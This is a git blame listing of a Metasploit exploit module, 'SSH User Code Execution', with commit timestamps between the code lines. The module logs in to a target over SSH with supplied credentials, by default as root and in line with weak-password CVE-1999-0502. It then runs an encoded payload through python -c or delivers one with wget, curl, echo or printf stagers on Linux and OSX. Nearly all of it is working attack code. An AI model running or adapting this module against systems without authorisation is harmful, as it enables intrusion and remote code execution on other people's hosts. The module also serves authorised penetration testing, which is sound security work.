Files
metasploit-gs/modules/exploits/multi/ssh/sshexec.rb
T

191 lines
5.2 KiB
Ruby
Raw Normal View History

2013-03-08 15:25:16 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-08 15:25:16 -05:00
##
require 'net/ssh'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ManualRanking
2014-02-07 18:46:19 -06:00
include Msf::Exploit::CmdStager
2016-06-28 15:23:12 -05:00
include Msf::Exploit::Remote::SSH
2013-08-30 16:28:54 -05:00
attr_accessor :ssh_socket
2013-08-30 16:28:54 -05:00
def initialize
super(
2015-08-12 15:46:47 -04:00
'Name' => 'SSH User Code Execution',
2018-01-22 09:59:48 -06:00
'Description' => %q(
This module connects to the target system and executes the necessary
commands to run the specified payload via SSH. If a native payload is
2015-08-13 14:16:09 -05:00
specified, an appropriate stager will be used.
2018-01-22 09:59:48 -06:00
),
2015-08-12 15:46:47 -04:00
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
'References' =>
2013-08-30 16:28:54 -05:00
[
[ 'CVE', '1999-0502'] # Weak password
],
2015-08-12 15:46:47 -04:00
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
2013-08-30 16:28:54 -05:00
{
2015-08-12 15:46:47 -04:00
'PrependFork' => 'true',
'EXITFUNC' => 'process'
2013-08-30 16:28:54 -05:00
},
2015-08-12 15:46:47 -04:00
'Payload' =>
2013-08-30 16:28:54 -05:00
{
2018-01-22 09:59:48 -06:00
'Space' => 800000,
2015-08-12 15:46:47 -04:00
'BadChars' => "",
'DisableNops' => true
2013-08-30 16:28:54 -05:00
},
2018-01-22 09:59:48 -06:00
'Platform' => %w[linux osx python],
'CmdStagerFlavor' => %w[bourne echo printf wget],
2015-08-12 15:46:47 -04:00
'Targets' =>
2013-08-30 16:28:54 -05:00
[
2018-01-22 09:59:48 -06:00
[
'Linux x86',
2013-08-30 16:28:54 -05:00
{
2015-08-12 15:46:47 -04:00
'Arch' => ARCH_X86,
2013-08-30 16:28:54 -05:00
'Platform' => 'linux'
}
2013-08-30 16:28:54 -05:00
],
2018-01-22 09:59:48 -06:00
[
'Linux x64',
2013-08-30 16:28:54 -05:00
{
'Arch' => ARCH_X64,
2013-08-30 16:28:54 -05:00
'Platform' => 'linux'
}
2013-08-30 16:28:54 -05:00
],
2018-01-22 09:59:48 -06:00
[
'Linux armle',
2013-08-30 16:28:54 -05:00
{
2018-01-22 09:59:48 -06:00
'Arch' => ARCH_ARMLE,
'Platform' => 'linux'
}
],
[
'Linux mipsle',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'CmdStagerFlavor' => %w[curl wget]
}
2015-08-12 15:46:47 -04:00
],
2018-01-22 09:59:48 -06:00
[
'Linux mipsbe',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux',
'CmdStagerFlavor' => %w[wget]
}
],
[
'Linux aarch64',
{
'Arch' => ARCH_AARCH64,
'Platform' => 'linux'
}
],
[
'OSX x86',
{
'Arch' => ARCH_X86,
'Platform' => 'osx',
'CmdStagerFlavor' => %w[curl wget]
}
],
[
'OSX x64',
{
'Arch' => ARCH_X64,
'Platform' => 'osx',
'CmdStagerFlavor' => %w[curl wget]
}
],
[
'Python',
2015-08-12 15:46:47 -04:00
{
'Arch' => ARCH_PYTHON,
'Platform' => 'python'
}
]
2013-08-30 16:28:54 -05:00
],
2015-08-12 15:46:47 -04:00
'DefaultTarget' => 0,
2013-08-30 16:28:54 -05:00
# For the CVE
2015-08-12 15:46:47 -04:00
'DisclosureDate' => 'Jan 01 1999'
2013-08-30 16:28:54 -05:00
)
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
2018-01-22 09:59:48 -06:00
Opt::RHOST(),
2013-08-30 16:28:54 -05:00
Opt::RPORT(22)
], self.class
)
2013-08-30 16:28:54 -05:00
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
]
)
end
2013-08-30 16:28:54 -05:00
def execute_command(cmd, opts = {})
vprint_status("Executing #{cmd}")
2013-08-30 16:28:54 -05:00
begin
2018-01-22 09:59:48 -06:00
Timeout.timeout(5) do
2013-08-30 16:28:54 -05:00
self.ssh_socket.exec!("#{cmd}\n")
end
2018-01-22 09:59:48 -06:00
rescue Timeout::Error
print_error("SSH Timeout Exception will say the Exploit Failed; do not believe it.")
print_good("You will likely still get a shell; run sessions -l to be sure.")
2013-08-30 16:28:54 -05:00
end
end
2013-08-30 16:28:54 -05:00
def do_login(ip, user, pass, port)
2016-06-28 15:23:12 -05:00
factory = ssh_socket_factory
2013-08-30 16:28:54 -05:00
opt_hash = {
2018-01-22 09:59:48 -06:00
auth_methods: ['password', 'keyboard-interactive'],
port: port,
use_agent: false,
config: false,
password: pass,
proxy: factory,
non_interactive: true
2013-08-30 16:28:54 -05:00
}
2018-01-22 09:59:48 -06:00
opt_hash[:verbose] = :debug if (datastore['SSH_DEBUG'])
2013-08-30 16:28:54 -05:00
begin
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
rescue Rex::ConnectionError
2013-08-30 16:28:54 -05:00
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, 'Timed out during negotiation')
rescue Net::SSH::AuthenticationFailed
fail_with(Failure::NoAccess, 'Failed authentication')
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
end
2013-08-30 16:28:54 -05:00
if not self.ssh_socket
2015-04-16 21:56:42 +02:00
fail_with(Failure::Unknown, 'Failed to start SSH socket')
2013-08-30 16:28:54 -05:00
end
return
end
2013-08-30 16:28:54 -05:00
def exploit
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
2015-08-12 15:46:47 -04:00
if target['Platform'] == 'python'
execute_command("python -c \"#{payload.encoded}\"")
else
2018-01-22 09:59:48 -06:00
execute_cmdstager(linemax: 500)
2015-08-12 15:46:47 -04:00
end
self.ssh_socket.close
2013-08-30 16:28:54 -05:00
end
end